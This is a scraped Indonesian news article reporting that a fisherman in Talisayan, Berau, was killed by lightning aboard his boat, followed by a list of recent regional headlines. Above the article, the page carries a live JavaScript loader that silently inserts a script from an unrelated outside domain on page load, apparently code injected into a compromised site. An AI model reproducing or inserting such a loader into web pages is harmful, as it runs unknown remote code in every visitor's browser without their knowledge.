(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Peristiwa

Disambar Petir di Tengah Laut, Nelayan Tewas di Kapalnya


TANJUNG REDEB, Sabtu (6/10) sekitar pukul 07.00 Wita, warga Kecamatan Talisayan, Kabupaten Berau dihebohkan meninggalnya seorang nelayan yang sedang memancing di laut lepas disambar petir di atas kapalnya.

Kapolres Berau, AKBP Pramuja Sigit Wahono melalui Kapolsek Talisayan Iptu Faidal Hamid mengatakan, nelayan tersebut bernama Yudu (58), warga Kecamatan Talisayan, ditemukan tewas di kapalnya sekitar pukul 07.00 Wita.

“Dari hasil visum, Yudu tewas tersambar petir saat tengah mencari ikan di laut,” terang Faisal seperti diberitakan Koran Kaltim.

Faisal menjelaskan kronologi kejadian berawal saat korban pergi mencari ikan sekitar pukul 05.00 Wita. Saat berada di tengah laut, rekannya yang saat itu akan pergi ke bagan bertemu dengan korban. “Jadi ada dua saksi mata yang saat itu mau ke bagan, saksi melihat korban sedang mencari ikan. Namun sekitar pukul 07.00 Wita, saat saksi akan kembali ke darat dan melintas dekat perahu korban, korban tidak terlihat di kapalnya. Membuat kedua nelayan lain penasaran, memberanikan diri mendatangi kapalnya dan ternyata Yudu sudah tergeletak di belakang kapalnya dengan tubuh terbakar,” tegasnya.

Saksi langsung membawa korban menuju daratan untuk dilarikan ke rumah sakit. Namun, karena kondisi air yang masih surut dan kapal tidak bisa sandar, korban baru bisa dievakuasi ke rumah duka sekitar pukul 12.30 Wita. “Dari keterangan dokter sementara ini, korban meninggal dunia dengan luka sambaran petir di bagian dadanya,” ucapnya.

Faisal mengimbau agar masyarakat bisa lebih berhati-hati saat beraktivitas dalam kondisi cuaca yang ekstrim. Sebaiknya tidak beraktivitas diluar rumah jika kondisi cuaca sedang buruk.

“Saya menginginkan agar nelayan bisa melihat cuaca saat akan melaut, karena kemarin itu pada pagi hari sedang terjadi hujan yang begitu deras,” pungkasnya. (ind)

Reporter : Ind
Editor : Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.